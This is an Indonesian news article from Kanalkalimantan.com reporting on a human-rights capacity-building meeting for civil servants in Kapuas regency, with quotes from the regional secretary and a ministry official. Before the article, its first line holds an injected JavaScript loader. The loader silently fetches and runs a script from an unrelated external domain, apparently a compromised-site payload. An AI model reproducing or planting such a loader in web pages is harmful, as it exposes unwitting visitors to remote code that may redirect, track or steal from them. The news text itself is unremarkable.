(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Rapat Penguatan Kapasitas HAM bagi ASN, Ini Kata Sekda Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas tegaskan komitmen terhadap pelayanan publik yang adil dan manusiawi dengan menggelar rapat penguatan kapasitas Hak Asasi Manusia (HAM) bagi Aparatur Sipil Negara (ASN), Kamis (16/10/2025).

Sekretaris Daerah (Sekda) Kapuas, Usis I Sangkai, mewakili Bupati Kapuas membuka kegiatan yang mengusung tema “Aparatur Negara Profesional, Pelayanan Publik Tanpa Diskriminasi”.

Kegiatan dihadiri sejumlah pejabat penting, di antaranya Kepala Kantor Wilayah Kementerian Hak Asasi Manusia Kalimantan Tengah, Kristina Meinalita Samosir, Staf Ahli Bupati Bidang KSDM Budi Kurniawan, unsur Forkopimda Kapuas, para kepala OPD, camat, lurah, guru SMA/SMK negeri, serta peserta lainnya.

Sekda Usis I Sangkai mengatakan bahwa penguatan kapasitas HAM bagi ASN merupakan bagian dari upaya mewujudkan tata kelola pemerintahan yang berpihak pada masyarakat, dengan menjunjung tinggi prinsip-prinsip HAM.

“Pelayanan publik harus dilandasi prinsip tanpa diskriminasi, menjamin kepastian dan kepuasan penerima layanan, serta sejalan dengan nilai ASN yang berakhlak,” ujar Usis.

Dia menyebut kegiatan ini menjadi langkah penting dalam membangun birokrasi yang adil, profesional, dan bebas dari praktik diskriminatif. ASN diharapkan mampu memberi pelayanan yang menghormati perbedaan dan menjunjung tinggi nilai kemanusiaan.

“Serap seluruh ilmu dari para narasumber. Pelayanan berbasis HAM bukan hanya pemahaman, tapi harus jadi budaya kerja,” pesan Sekda Usis kepada para peserta.

Sementara itu, Kepala Kantor Wilayah Kementerian Hak Asasi Manusia Kalteng, Kristina Meinalita Samosir, menyampaikan bahwa kegiatan ini bagian dari implementasi Penghormatan, Perlindungan, Pemenuhan, Penegakan, dan Pemajuan Hak Asasi Manusia (P5HAM).

Kristina menekankan bahwa penguatan kapasitas HAM bukan sekadar pemahaman teori, tetapi mendorong aksi nyata dalam pelayanan publik. “Kami ingin ASN tidak hanya paham, tapi juga punya integritas dan akuntabilitas dalam menerapkan prinsip kemanusiaan. Itu yang akan menciptakan budaya kerja yang inklusif dan humanis,” tegasnya.

Kegiatan dilanjutkan dengan sesi paparan dari para narasumber, membahas implementasi HAM dalam pelayanan publik dan strategi membangun birokrasi yang inklusif.

Melalui kegiatan ini, Pemerintah Kabupaten Kapuas menunjukkan keseriusannya dalam membangun layanan publik yang tidak hanya cepat dan tepat, tetapi juga berkeadilan dan berperspektif hak asasi manusia, sejalan dengan semangat mewujudkan ‘Kapuas Bersinar’ Berdaya Saing, Sejahtera, Indah, Aman, dan Religius. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk